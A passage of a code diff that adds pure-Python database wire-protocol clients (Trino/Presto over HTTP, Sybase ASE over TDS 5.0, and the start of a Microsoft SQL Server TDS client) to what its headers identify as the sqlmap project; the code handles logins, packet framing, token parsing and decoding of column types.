|
||||
# only send Catalog/Schema when supplied: a Schema without a Catalog makes Trino reject every
|
||||
# request ("Schema is set but catalog is not"), so never force a "default" schema
|
||||
if catalog:
|
||||
self._headers[prefix + "Catalog"] = catalog
|
||||
if schema: # only inside the catalog branch: a Schema alone is rejected
|
||||
self._headers[prefix + "Schema"] = schema
|
||||
if password:
|
||||
token = base64.b64encode(("%s:%s" % (user or "", password)).encode("utf-8")).decode("ascii")
|
||||
self._headers["Authorization"] = "Basic %s" % token
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
pass
|
||||
|
||||
def rollback(self):
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
pass # HTTP is stateless
|
||||
|
||||
def _apply_state(self, info):
|
||||
"""
|
||||
Carry the session state the server hands back into the headers of every later request.
|
||||
|
||||
The client protocol is stateless on the wire, so the SERVER cannot remember anything: it reports
|
||||
each change as a response header and the client is required to echo it back. Ignoring them makes
|
||||
'USE', 'SET SESSION', 'SET ROLE' and 'START TRANSACTION' appear to succeed and then silently have
|
||||
no effect on the next statement.
|
||||
"""
|
||||
|
||||
for prefix in ("X-Presto-", "X-Trino-"):
|
||||
for suffix, header in (("Catalog", "Catalog"), ("Schema", "Schema"), ("Path", "Path")):
|
||||
value = info.get((prefix + "Set-" + suffix).lower())
|
||||
if value:
|
||||
self._headers[prefix + header] = value
|
||||
started = info.get((prefix + "Started-Transaction-Id").lower())
|
||||
if started:
|
||||
self._headers[prefix + "Transaction-Id"] = started
|
||||
if info.get((prefix + "Clear-Transaction-Id").lower()):
|
||||
self._headers.pop(prefix + "Transaction-Id", None)
|
||||
# Set-Session / Set-Role accumulate as comma-separated 'key=value' pairs, and the matching
|
||||
# Clear-* header removes one by name
|
||||
for kind in ("Session", "Role"):
|
||||
current = dict(_split_pair(_) for _ in (self._headers.get(prefix + kind) or "").split(",") if _)
|
||||
for item in (info.get((prefix + "Set-" + kind).lower()) or "").split(","):
|
||||
if item.strip():
|
||||
key, value = _split_pair(item)
|
||||
current[key] = value
|
||||
for key in (info.get((prefix + "Clear-" + kind).lower()) or "").split(","):
|
||||
current.pop(key.strip(), None)
|
||||
if current:
|
||||
self._headers[prefix + kind] = ",".join("%s=%s" % (k, v) if v is not None else k for k, v in sorted(current.items()))
|
||||
else:
|
||||
self._headers.pop(prefix + kind, None)
|
||||
|
||||
def _request(self, url, data=None):
|
||||
req = Request(url, data=data.encode("utf-8") if data is not None else None, headers=self._headers)
|
||||
try:
|
||||
response = urlopen(req, timeout=self._timeout)
|
||||
body = response.read().decode("utf-8", "replace")
|
||||
except HTTPError as ex:
|
||||
raise ProgrammingError("(remote) HTTP %s: %s" % (ex.code, ex.read().decode("utf-8", "replace")[:200]))
|
||||
except URLError as ex:
|
||||
raise OperationalError("(remote) %s" % ex)
|
||||
except (socket.timeout, socket.error) as ex:
|
||||
raise OperationalError("(remote) %s" % ex)
|
||||
info = response.info()
|
||||
self._apply_state(dict((k.lower(), v) for k, v in (info.items() if hasattr(info, "items") else [])))
|
||||
try:
|
||||
return json.loads(body)
|
||||
except ValueError as ex:
|
||||
raise InterfaceError("malformed server response: %s" % ex)
|
||||
|
||||
def _query(self, query):
|
||||
page = self._request(self._statement_url, data=query)
|
||||
columns, rows, types = None, [], []
|
||||
while True:
|
||||
if page.get("error"):
|
||||
message = page["error"].get("message", "unknown error")
|
||||
raise ProgrammingError("(remote) %s" % message)
|
||||
if page.get("columns") and columns is None:
|
||||
columns = [(c.get("name"), c.get("type"), None, None, None, None, None) for c in page["columns"]]
|
||||
types = [(c.get("type") or "") for c in page["columns"]]
|
||||
for row in page.get("data") or []:
|
||||
rows.append(tuple(_convert(v, types[i] if i < len(types) else "") for i, v in enumerate(row)))
|
||||
next_uri = page.get("nextUri")
|
||||
if not next_uri:
|
||||
break
|
||||
page = self._request(next_uri)
|
||||
return columns, rows
|
||||
|
||||
def connect(host=None, port=8080, user=None, password=None, database=None, connect_timeout=None, schema=None, **kwargs):
|
||||
connection = Connection(host or "localhost", int(port or 8080), user, password, database, schema, connect_timeout)
|
||||
try:
|
||||
connection._query("SELECT 1") # verify connectivity/credentials
|
||||
except ProgrammingError:
|
||||
raise
|
||||
except Exception as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
return connection
|
||||
@@ -0,0 +1,429 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python Sybase ASE client speaking TDS 5.0 (stdlib only, no pymssql/FreeTDS).
|
||||
|
||||
Sybase and Microsoft share the 8-byte TDS packet framing (reused from tds.py) and part company at the
|
||||
login: ASE speaks TDS 5.0, which means a fixed-layout LOGINREC instead of LOGIN7, a capability
|
||||
negotiation, SQL sent as a LANGUAGE token in a normal packet, and results described by ROWFMT rather than
|
||||
COLMETADATA. Cleartext login only. Read-oriented for sqlmap: execute() takes a fully-formed query string,
|
||||
binary values come back as bytes (sqlmap hex-encodes them).
|
||||
|
||||
Two encodings look like their Microsoft namesakes and are not: DECIMAL/NUMERIC carries a big-endian
|
||||
magnitude with 1 meaning *negative* (Microsoft is little-endian with 1 meaning positive), and DONE reports
|
||||
a 4-byte row count (Microsoft uses 8).
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from extra.dbwire import DatabaseError
|
||||
from extra.dbwire import DataError
|
||||
from extra.dbwire import IntegrityError
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import handshake_done
|
||||
from extra.dbwire import keepalive
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
# the packet framing is byte-identical to the Microsoft dialect - only what travels inside it differs
|
||||
from extra.dbwire.tds import _decode_datetime
|
||||
from extra.dbwire.tds import _decode_money
|
||||
from extra.dbwire.tds import _decode_smalldatetime
|
||||
from extra.dbwire.tds import _read_message
|
||||
from extra.dbwire.tds import _send_message
|
||||
|
||||
_PKT_LOGIN = 0x02
|
||||
_PKT_NORMAL = 0x0f
|
||||
_LOGIN_CHUNK = 504 # the login travels in 512-byte packets: the server's buffer is not negotiated yet
|
||||
_PACKET_SIZE = 2048 # ASE's default 'max network packet size'; a bigger request is negotiated down
|
||||
_HEADER_SIZE = 8
|
||||
|
||||
# tokens
|
||||
_TOKEN_LANGUAGE = 0x21
|
||||
_TOKEN_ROWFMT = 0xee
|
||||
_TOKEN_ROWFMT2 = 0x61
|
||||
_TOKEN_ROW = 0xd1
|
||||
_TOKEN_CAPABILITY = 0xe2
|
||||
_TOKEN_ENVCHANGE = 0xe3
|
||||
_TOKEN_EED = 0xe5
|
||||
_TOKEN_RETURNSTATUS = 0x79
|
||||
_TOKEN_LOGOUT = 0x71
|
||||
_TOKEN_DONE = frozenset((0xfd, 0xfe, 0xff)) # DONE / DONEPROC / DONEINPROC
|
||||
_DONE_COUNT = 0x0010 # DONE status bit: the row count is meaningful
|
||||
_ENV_PACKET_SIZE = 4 # ENVCHANGE type: the server's answer to the requested size
|
||||
|
||||
# SYB* datatype codes. Fixed-length types carry no per-value length; everything else is length-prefixed,
|
||||
# and a zero length means NULL (TDS 5 cannot tell an empty string from NULL - neither can ASE itself).
|
||||
_T_INT1, _T_BIT, _T_INT2, _T_INT4, _T_INT8 = 0x30, 0x32, 0x34, 0x38, 0xbf
|
||||
_T_REAL, _T_FLT8, _T_MONEY, _T_MONEY4 = 0x3b, 0x3e, 0x3c, 0x7a
|
||||
_T_DATETIME, _T_DATETIME4, _T_DATE, _T_TIME = 0x3d, 0x3a, 0x31, 0x33
|
||||
_T_INTN, _T_FLTN, _T_MONEYN, _T_DATETIMN, _T_DATEN, _T_TIMEN = 0x26, 0x6d, 0x6e, 0x6f, 0x7b, 0x93
|
||||
_T_DECIMAL, _T_NUMERIC = 0x6a, 0x6c
|
||||
_T_CHAR, _T_VARCHAR, _T_BINARY, _T_VARBINARY, _T_NVARCHAR = 0x2f, 0x27, 0x2d, 0x25, 0x67
|
||||
_T_TEXT, _T_IMAGE, _T_UNITEXT = 0x23, 0x22, 0xae
|
||||
_T_LONGBINARY, _T_LONGCHAR = 0xe1, 0xaf
|
||||
_T_BIGDATETIME, _T_BIGTIME = 0xbb, 0xbc
|
||||
_T_BIGDATETIMEN, _T_BIGTIMEN = 0xbd, 0xbe
|
||||
_T_VOID = 0x1f
|
||||
|
||||
_FIXED_LENGTH = {
|
||||
_T_INT1: 1, _T_BIT: 1, _T_INT2: 2, _T_INT4: 4, _T_INT8: 8, _T_REAL: 4, _T_FLT8: 8,
|
||||
_T_MONEY: 8, _T_MONEY4: 4, _T_DATETIME: 8, _T_DATETIME4: 4, _T_DATE: 4, _T_TIME: 4,
|
||||
_T_BIGDATETIME: 8, _T_BIGTIME: 8, _T_VOID: 0,
|
||||
}
|
||||
_BLOB_TYPES = frozenset((_T_TEXT, _T_IMAGE, _T_UNITEXT)) # textptr + timestamp + 4-byte length
|
||||
_LONG_TYPES = frozenset((_T_LONGBINARY, _T_LONGCHAR)) # 4-byte length
|
||||
_BINARY_TYPES = frozenset((_T_BINARY, _T_VARBINARY, _T_IMAGE))
|
||||
_DECIMAL_TYPES = frozenset((_T_DECIMAL, _T_NUMERIC))
|
||||
# univarchar/unichar/unitext are carried as LONGBINARY/UNITEXT holding UTF-16 - only the user type says so
|
||||
_UNICODE_USERTYPES = frozenset((34, 35, 36))
|
||||
# a client that does not claim the date/time/bigdatetime capabilities gets those columns converted to a
|
||||
# plain datetime, which is lossless but would render a date as '... 00:00:00'. The user type survives the
|
||||
# conversion, so it is what says how much of the value the column actually holds.
|
||||
_USERTYPE_DATE = 37
|
||||
_USERTYPE_TIME = frozenset((38, 49))
|
||||
|
||||
_IDENTIFIER = re.compile(r"^[A-Za-z_#][A-Za-z0-9_#$]*$")
|
||||
|
||||
def _u8(data, off):
|
||||
return struct.unpack("<B", data[off:off + 1])[0]
|
||||
|
||||
def _u16(data, off):
|
||||
return struct.unpack("<H", data[off:off + 2])[0]
|
||||
|
||||
def _i32(data, off):
|
||||
return struct.unpack("<i", data[off:off + 4])[0]
|
||||
|
||||
def _login_string(value, size):
|
||||
# fixed-width field: `size` bytes of (truncated, NUL-padded) text followed by the actual length
|
||||
data = (value or "").encode("utf-8")[:size]
|
||||
return data + b"\x00" * (size - len(data)) + struct.pack("<B", len(data))
|
||||
|
||||
def _loginrec(host, user, password, appname, servername, charset, packetsize):
|
||||
"""
|
||||
The TDS 5.0 LOGINREC: one fixed 568-byte record, then a 35-byte CAPABILITY token.
|
||||
|
||||
Field order and widths mirror what ASE's own Open Client puts on the wire. The two reserved runs are
|
||||
spare in every implementation that documents them (Open Client sets one byte inside the second run,
|
||||
ASE accepts the record without it), so they go out as zeros rather than as an unexplained constant.
|
||||
"""
|
||||
|
||||
out = _login_string(host, 30) # client host name
|
||||
out += _login_string(user, 30) # user name
|
||||
out += _login_string(password, 30) # password (cleartext)
|
||||
out += _login_string("%d" % os.getpid(), 30) # client process id, as text
|
||||
# number/char/date byte orders, then: notify on USE, refuse dump-load & bulk-copy, interface, network
|
||||
out += struct.pack("<9B", 3, 1, 6, 10, 9, 1, 1, 0, 0)
|
||||
out += b"\x00" * 7 # spare
|
||||
out += _login_string(appname, 30) # application name
|
||||
out += _login_string(servername, 30) # server name
|
||||
remote = b"\x00" + struct.pack("<B", len(password or "")) + (password or "").encode("utf-8")
|
||||
out += remote + b"\x00" * (255 - len(remote)) + struct.pack("<B", len(remote)) # remote passwords
|
||||
out += struct.pack("<4B", 5, 0, 0, 0) # TDS version 5.0.0.0
|
||||
out += _login_string("dbwire", 10) # library name
|
||||
out += struct.pack("<4B", 1, 0, 0, 0) # library version
|
||||
out += struct.pack("<3B", 0, 0x0d, 0x11) # auto-convert short, float4 & date4 formats
|
||||
out += b"\x00" # reserved
|
||||
out += _login_string("", 30) # language (empty -> the server default)
|
||||
out += b"\x00" * 13 # notify-on-language-change, security & HA fields
|
||||
out += _login_string(charset, 30) # client character set
|
||||
out += b"\x00" # notify on character-set change
|
||||
out += _login_string("%d" % packetsize, 6) # network packet size, as text
|
||||
out += b"\x00" * 4 # spare
|
||||
|
||||
# capability negotiation: request bits say what the client can do, response bits what it wants back.
|
||||
# All-zero is the baseline dialect - the wide/streaming formats a fallback client has no use for are
|
||||
# exactly the ones it must not claim, or the server starts answering in them.
|
||||
capability = struct.pack("<3B", _TOKEN_CAPABILITY, 32, 0)
|
||||
capability += struct.pack("<2B", 1, 14) + b"\x00" * 14
|
||||
capability += struct.pack("<2B", 2, 14) + b"\x00" * 14
|
||||
return out + capability
|
||||
|
||||
class _Column(object):
|
||||
__slots__ = ("name", "type", "size", "scale", "usertype")
|
||||
|
||||
def _parse_rowfmt(data, off, length, codec):
|
||||
end = off + length
|
||||
count = _u16(data, off); off += 2
|
||||
columns = []
|
||||
for _ in range(count):
|
||||
col = _Column()
|
||||
namelen = _u8(data, off); off += 1
|
||||
col.name = data[off:off + namelen].decode(codec, "replace"); off += namelen
|
||||
off += 1 # status (nullability - the value length says it)
|
||||
col.usertype = _i32(data, off); off += 4
|
||||
col.type = _u8(data, off); off += 1
|
||||
col.size, col.scale = _FIXED_LENGTH.get(col.type, 0), 0
|
||||
if col.type in _DECIMAL_TYPES:
|
||||
col.size = _u8(data, off)
|
||||
col.scale = _u8(data, off + 2) # precision (off + 1) is not needed to decode
|
||||
off += 3
|
||||
elif col.type in _BLOB_TYPES:
|
||||
col.size = _i32(data, off); off += 4
|
||||
off += 2 + _u16(data, off) # the blob's table name
|
||||
elif col.type in _LONG_TYPES:
|
||||
col.size = _i32(data, off); off += 4
|
||||
elif col.type not in _FIXED_LENGTH:
|
||||
col.size = _u8(data, off); off += 1
|
||||
off += 1 + _u8(data, off) # locale
|
||||
columns.append(col)
|
||||
if off != end:
|
||||
raise InterfaceError("malformed ROWFMT token (%d columns did not fill %d bytes)" % (count, length))
|
||||
return columns, off
|
||||
|
||||
def _decode_numeric(raw, scale):
|
||||
# sign byte then a BIG-endian magnitude, and 1 means NEGATIVE (the Microsoft encoding is the mirror
|
||||
# image of this: little-endian, 1 == positive)
|
||||
magnitude = 0
|
||||
for b in bytearray(raw[1:]):
|
||||
magnitude = (magnitude << 8) | b
|
||||
value = -magnitude if bytearray(raw)[0] else magnitude
|
||||
if scale:
|
||||
text = "%0*d" % (scale + 1, abs(value))
|
||||
return ("-" if value < 0 else "") + text[:-scale] + "." + text[-scale:]
|
||||
return "%d" % value
|
||||
|
||||
def _decode_date(raw):
|
||||
import datetime
|
||||
return "%s" % (datetime.date(1900, 1, 1) + datetime.timedelta(days=_i32(raw, 0)))
|
||||
|
||||
def _decode_time(raw):
|
||||
import datetime
|
||||
ticks = struct.unpack("<I", raw)[0] # 300ths of a second since midnight
|
||||
return "%s" % (datetime.datetime(1900, 1, 1) + datetime.timedelta(milliseconds=ticks * 10.0 / 3.0)).time()
|
||||
|
||||
def _decode_bigdatetime(raw, time_only=False):
|
||||
import datetime
|
||||
micros = struct.unpack("<Q", raw)[0] # microseconds since 0001-01-01 00:00:00
|
||||
value = datetime.datetime(1, 1, 1) + datetime.timedelta(microseconds=micros)
|
||||
return "%s" % (value.time() if time_only else value)
|
||||
|
||||
def _decode_value(col, raw, codec):
|
||||
t = col.type
|
||||
if t in (_T_INT1, _T_BIT) or (t == _T_INTN and len(raw) == 1):
|
||||
value = bytearray(raw)[0] # tinyint is unsigned; bit is 0/1
|
||||
return "%d" % value
|
||||
if t == _T_INT2 or (t == _T_INTN and len(raw) == 2):
|
||||
return "%d" % struct.unpack("<h", raw)[0]
|
||||
if t == _T_INT4 or (t == _T_INTN and len(raw) == 4):
|
||||
return "%d" % struct.unpack("<i", raw)[0]
|
||||
if t == _T_INT8 or (t == _T_INTN and len(raw) == 8):
|
||||
return "%d" % struct.unpack("<q", raw)[0]
|
||||
if t in (_T_REAL, _T_FLT8, _T_FLTN):
|
||||
return repr(struct.unpack("<f" if len(raw) == 4 else "<d", raw)[0])
|
||||
if t in (_T_MONEY, _T_MONEY4, _T_MONEYN):
|
||||
return _decode_money(raw)
|
||||
if t in _DECIMAL_TYPES:
|
||||
return _decode_numeric(raw, col.scale)
|
||||
if t in (_T_DATETIME, _T_DATETIME4, _T_DATETIMN):
|
||||
text = _decode_datetime(raw) if len(raw) == 8 else _decode_smalldatetime(raw)
|
||||
if col.usertype == _USERTYPE_DATE:
|
||||
return text.split(" ")[0]
|
||||
if col.usertype in _USERTYPE_TIME:
|
||||
return text.split(" ")[1]
|
||||
return text
|
||||
if t in (_T_DATE, _T_DATEN):
|
||||
return _decode_date(raw)
|
||||
if t in (_T_TIME, _T_TIMEN):
|
||||
return _decode_time(raw)
|
||||
if t in (_T_BIGDATETIME, _T_BIGDATETIMEN):
|
||||
return _decode_bigdatetime(raw)
|
||||
if t in (_T_BIGTIME, _T_BIGTIMEN):
|
||||
return _decode_bigdatetime(raw, time_only=True)
|
||||
if t in _BINARY_TYPES:
|
||||
return raw # sqlmap hex-encodes binary columns
|
||||
if t == _T_UNITEXT or col.usertype in _UNICODE_USERTYPES:
|
||||
return raw.decode("utf-16-le", "replace")
|
||||
if t in (_T_CHAR, _T_VARCHAR, _T_NVARCHAR, _T_LONGCHAR, _T_TEXT):
|
||||
return raw.decode(codec, "replace")
|
||||
return raw # LONGBINARY that is not unichar, a locator handle, an unmapped type: bytes, not a guess
|
||||
|
||||
def _read_value(col, data, off, codec):
|
||||
if col.type in _FIXED_LENGTH:
|
||||
size = _FIXED_LENGTH[col.type]
|
||||
raw, off = data[off:off + size], off + size
|
||||
if not size:
|
||||
return None, off
|
||||
elif col.type in _BLOB_TYPES:
|
||||
ptrlen = _u8(data, off); off += 1
|
||||
if not ptrlen:
|
||||
return None, off # no text pointer -> NULL
|
||||
off += ptrlen + 8 # text pointer + timestamp
|
||||
length = _i32(data, off); off += 4
|
||||
raw, off = data[off:off + length], off + length
|
||||
elif col.type in _LONG_TYPES:
|
||||
length = _i32(data, off); off += 4
|
||||
if not length:
|
||||
return None, off
|
||||
raw, off = data[off:off + length], off + length
|
||||
else:
|
||||
length = _u8(data, off); off += 1
|
||||
if not length:
|
||||
return None, off
|
||||
raw, off = data[off:off + length], off + length
|
||||
return _decode_value(col, raw, codec), off
|
||||
|
||||
def _eed(data, off, codec):
|
||||
# EED: number(4) state(1) class(1) sqlstate, status(1) transtate(2) message, server, procedure, line
|
||||
number = _i32(data, off)
|
||||
severity = _u8(data, off + 5)
|
||||
pos = off + 6
|
||||
pos += 1 + _u8(data, pos) # SQLSTATE
|
||||
pos += 1 + 2 # status + transaction state
|
||||
length = _u16(data, pos); pos += 2
|
||||
return number, severity, data[pos:pos + length].decode(codec, "replace").strip()
|
||||
|
||||
def _raise_server_error(number, message):
|
||||
if number in (2601, 2615, 2627, 1105, 546, 547): # duplicate key/row, constraint, foreign key
|
||||
raise IntegrityError(message)
|
||||
if number in (247, 249, 257, 260, 264, 512, 8115): # conversion, overflow, arithmetic
|
||||
raise DataError(message)
|
||||
raise ProgrammingError(message)
|
||||
|
||||
class Cursor(object):
|
||||
def __init__(self, connection):
|
||||
self.connection = connection
|
||||
self.description = None
|
||||
self.rowcount = -1
|
||||
self._rows = []
|
||||
self._pos = 0
|
||||
|
||||
def execute(self, query, params=None):
|
||||
if params is not None:
|
||||
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
|
||||
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
|
||||
self.description, self._rows, affected = self.connection._query(query)
|
||||
self.rowcount = len(self._rows) if self.description is not None else (affected if affected is not None else -1)
|
||||
return self
|
||||
|
||||
def fetchall(self):
|
||||
retVal = self._rows[self._pos:]
|
||||
self._pos = len(self._rows)
|
||||
return retVal
|
||||
|
||||
def fetchone(self):
|
||||
if self._pos >= len(self._rows):
|
||||
return None
|
||||
retVal = self._rows[self._pos]
|
||||
self._pos += 1
|
||||
return retVal
|
||||
|
||||
def close(self):
|
||||
self._rows = []
|
||||
|
||||
class Connection(object):
|
||||
def __init__(self, sock, codec):
|
||||
self._sock = sock
|
||||
self._codec = codec
|
||||
# a packet larger than the size agreed at login is not an error the server reports - it drops the
|
||||
# connection, so every send has to be chopped to what the login negotiated (ENVCHANGE 4 below)
|
||||
self._chunk = _PACKET_SIZE - _HEADER_SIZE
|
||||
|
||||
def cursor(self):
|
||||
return Cursor(self)
|
||||
|
||||
def commit(self):
|
||||
pass # sqlmap issues autonomous statements; ASE is in unchained (auto-commit) mode by default
|
||||
|
||||
def rollback(self):
|
||||
pass
|
||||
|
||||
def close(self):
|
||||
try:
|
||||
_send_message(self._sock, _PKT_NORMAL, struct.pack("<2B", _TOKEN_LOGOUT, 0))
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
self._sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _query(self, query):
|
||||
# LANGUAGE token: length covers the status byte and the (single-byte encoded) statement text
|
||||
text = query.encode(self._codec, "replace")
|
||||
token = struct.pack("<BiB", _TOKEN_LANGUAGE, len(text) + 1, 0) + text
|
||||
_send_message(self._sock, _PKT_NORMAL, token, self._chunk)
|
||||
try:
|
||||
return self._read_response()
|
||||
except (struct.error, IndexError, ValueError, KeyError) as ex:
|
||||
raise InterfaceError("malformed server response: %s" % ex)
|
||||
|
||||
def _read_response(self, login=False):
|
||||
data = _read_message(self._sock)
|
||||
off, columns, rows, description, affected = 0, [], [], None, None
|
||||
error = None
|
||||
while off < len(data):
|
||||
token = _u8(data, off); off += 1
|
||||
if token == _TOKEN_ROWFMT:
|
||||
length = _u16(data, off); off += 2
|
||||
columns, off = _parse_rowfmt(data, off, length, self._codec)
|
||||
description = [(c.name, c.type, None, None, None, c.scale, None) for c in columns]
|
||||
rows, affected = [], None
|
||||
elif token == _TOKEN_ROW:
|
||||
row = []
|
||||
for col in columns:
|
||||
value, off = _read_value(col, data, off, self._codec)
|
||||
row.append(value)
|
||||
rows.append(tuple(row))
|
||||
elif token in _TOKEN_DONE:
|
||||
status, _transtate, count = struct.unpack("<HHi", data[off:off + 8]); off += 8
|
||||
if status & _DONE_COUNT:
|
||||
affected = count if affected is None else affected + count
|
||||
elif token == _TOKEN_EED:
|
||||
length = _u16(data, off)
|
||||
number, severity, message = _eed(data, off + 2, self._codec)
|
||||
if severity > 10: # 10 and below are informational (e.g. 'Changed database')
|
||||
error = (number, "(remote) %s" % message)
|
||||
off += 2 + length
|
||||
elif token == _TOKEN_ENVCHANGE:
|
||||
length = _u16(data, off)
|
||||
if _u8(data, off + 2) == _ENV_PACKET_SIZE:
|
||||
size = data[off + 4:off + 4 + _u8(data, off + 3)]
|
||||
self._chunk = max(_LOGIN_CHUNK, int(size) - _HEADER_SIZE)
|
||||
off += 2 + length
|
||||
elif token == _TOKEN_RETURNSTATUS:
|
||||
off += 4
|
||||
elif token == _TOKEN_ROWFMT2:
|
||||
raise NotSupportedError("the server answered with the wide ROWFMT2 format")
|
||||
else:
|
||||
off += 2 + _u16(data, off) # every other TDS 5 token is 2-byte length prefixed
|
||||
if error is not None:
|
||||
if login:
|
||||
raise OperationalError(error[1])
|
||||
_raise_server_error(*error)
|
||||
return description, rows, affected
|
||||
|
||||
def connect(host=None, port=5000, user=None, password=None, database=None, connect_timeout=None, **kwargs):
|
||||
charset, codec = kwargs.get("charset", "utf8"), "utf-8"
|
||||
try:
|
||||
sock = socket.create_connection((host or "localhost", int(port or 5000)), timeout=connect_timeout)
|
||||
keepalive(sock)
|
||||
except (socket.error, socket.timeout) as ex:
|
||||
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
|
||||
|
||||
connection = Connection(sock, codec)
|
||||
try:
|
||||
login = _loginrec("dbwire", user or "", password or "", "dbwire", host or "localhost", charset, _PACKET_SIZE)
|
||||
_send_message(sock, _PKT_LOGIN, login, _LOGIN_CHUNK)
|
||||
connection._read_response(login=True)
|
||||
handshake_done(sock)
|
||||
if database:
|
||||
if not _IDENTIFIER.match(database):
|
||||
raise ProgrammingError("unsupported database name %r" % database)
|
||||
connection._query("USE %s" % database)
|
||||
except (DatabaseError, InterfaceError):
|
||||
connection.close()
|
||||
raise
|
||||
except Exception as ex:
|
||||
connection.close()
|
||||
raise OperationalError("Sybase login failed (%s)" % ex)
|
||||
return connection
|
||||
@@ -0,0 +1,630 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Minimal pure-python TDS (Tabular Data Stream) client for Microsoft SQL Server (stdlib only).
|
||||
|
||||
LOGIN7 / TDS 7.4 is the Microsoft dialect. Sybase ASE speaks TDS 5.0 - same 8-byte packet framing, but a
|
||||
LOGINREC login and its own token/type dialect - and lives in sybase.py, which reuses the framing below.
|
||||
|
||||
Cleartext login only (TDS pre-login encryption negotiated to NOT_SUP); a server that forces encryption
|
||||
would need TLS-in-TDS which is out of scope for the dependency-free client. Implements PRELOGIN, LOGIN7,
|
||||
SQL batch, and decoding of the common column types (int/bit/float/money/decimal, (n)char/(n)varchar and
|
||||
their MAX/PLP forms, binary, guid, datetime family) to text (binary columns are returned as raw bytes so
|
||||
sqlmap hex-encodes them).
|
||||
"""
|
||||
|
||||
import socket
|
||||
import struct
|
||||
|
||||
from extra.dbwire import DatabaseError
|
||||
from extra.dbwire import InterfaceError
|
||||
from extra.dbwire import NotSupportedError
|
||||
from extra.dbwire import OperationalError
|
||||
from extra.dbwire import connection_lost
|
||||
from extra.dbwire import handshake_done
|
||||
from extra.dbwire import keepalive
|
||||
from extra.dbwire import recvn
|
||||
from extra.dbwire import ProgrammingError
|
||||
|
||||
_MAX_MESSAGE_LENGTH = 0x40000000
|
||||
_DONE_COUNT = 0x0010 # DONE status bit: DoneRowCount carries a valid affected-row count
|
||||
|
||||
# packet types
|
||||
_PKT_SQL_BATCH = 0x01
|
||||
_PKT_LOGIN7 = 0x10
|
||||
_PKT_PRELOGIN = 0x12
|
||||
_STATUS_EOM = 0x01
|
||||
|
||||
def _u8(data, off):
|
||||
return struct.unpack("<B", data[off:off + 1])[0]
|
||||
|
||||
def _send_message(sock, mtype, data, chunk_size=4088):
|
||||
# split into <= 4096-byte packets (8-byte header + <=4088 data); only the last carries the EOM status
|
||||
# bit. chunk_size is smaller for a TDS 5 login, whose packet size is not negotiated yet (see sybase.py)
|
||||
packet_id = 0
|
||||
off = 0
|
||||
while True:
|
||||
chunk = data[off:off + chunk_size]
|
||||
off += chunk_size
|
||||
last = off >= len(data)
|
||||
header = struct.pack(">BBHHBB", mtype, _STATUS_EOM if last else 0x00, len(chunk) + 8, 0, packet_id & 0xff, 0)
|
||||
try:
|
||||
sock.sendall(header + chunk)
|
||||
except (socket.error, OSError) as ex:
|
||||
raise connection_lost(ex)
|
||||
packet_id += 1
|
||||
if last:
|
||||
break
|
||||
|
||||
def _read_message(sock):
|
||||
# reassemble a full TDS message across packets (EOM status bit marks the last). The packet length is a
|
||||
# 16-bit field, so bounding IT against _MAX_MESSAGE_LENGTH can never trigger - a hostile peer simply
|
||||
# never sets EOM and streams packets forever. Bound the accumulated message instead, and collect the
|
||||
# chunks in a list so reassembly stays linear rather than re-copying a growing immutable buffer.
|
||||
chunks, total = [], 0
|
||||
while True:
|
||||
header = recvn(sock, 8)
|
||||
mtype, status, length = struct.unpack(">BBH", header[:4])
|
||||
if length < 8:
|
||||
raise InterfaceError("invalid TDS packet length (%d)" % length)
|
||||
total += length - 8
|
||||
if total > _MAX_MESSAGE_LENGTH:
|
||||
raise InterfaceError("TDS message exceeds the maximum allowed length (%d bytes)" % _MAX_MESSAGE_LENGTH)
|
||||
chunks.append(recvn(sock, length - 8))
|
||||
if status & _STATUS_EOM:
|
||||
break
|
||||
return b"".join(chunks)
|
||||
|
||||
# ---- PRELOGIN ----------------------------------------------------------------------------------------
|
||||
|
||||
def _prelogin(sock):
|
||||
ver = struct.pack(">IH", 0x11000000, 0)
|
||||
enc = b"\x02" # ENCRYPT_NOT_SUP
|
||||
tokens = b"\x00" + struct.pack(">HH", 11, len(ver))
|
||||
tokens += b"\x01" + struct.pack(">HH", 11 + len(ver), len(enc))
|
||||
tokens += b"\xff"
|
||||
_send_message(sock, _PKT_PRELOGIN, tokens + ver + enc)
|
||||
body = _read_message(sock)
|
||||
off = 0
|
||||
while off < len(body) and _u8(body, off) != 0xff:
|
||||
token = _u8(body, off)
|
||||
toff, tlen = struct.unpack(">HH", body[off + 1:off + 5])
|
||||
if token == 0x01 and _u8(body, toff) == 0x03: # server requires encryption
|
||||
raise NotSupportedError("server requires TDS encryption; the dependency-free client supports cleartext only")
|
||||
off += 5
|
||||
|
||||
# ---- LOGIN7 ------------------------------------------------------------------------------------------
|
||||
|
||||
def _encode_password(password):
|
||||
out = bytearray()
|
||||
for b in bytearray(password.encode("utf-16-le")):
|
||||
b = ((b << 4) & 0xf0) | ((b >> 4) & 0x0f)
|
||||
out.append(b ^ 0xa5)
|
||||
return bytes(out)
|
||||
|
||||
def _login7(sock, user, password, database, hostname="dbwire", appname="dbwire"):
|
||||
fields = [
|
||||
hostname.encode("utf-16-le"),
|
||||
(user or "").encode("utf-16-le"),
|
||||
_encode_password(password or ""),
|
||||
appname.encode("utf-16-le"),
|
||||
b"", # server name
|
||||
b"", # (extension / unused)
|
||||
"dbwire".encode("utf-16-le"), # client interface name
|
||||
b"", # language
|
||||
(database or "").encode("utf-16-le"),
|
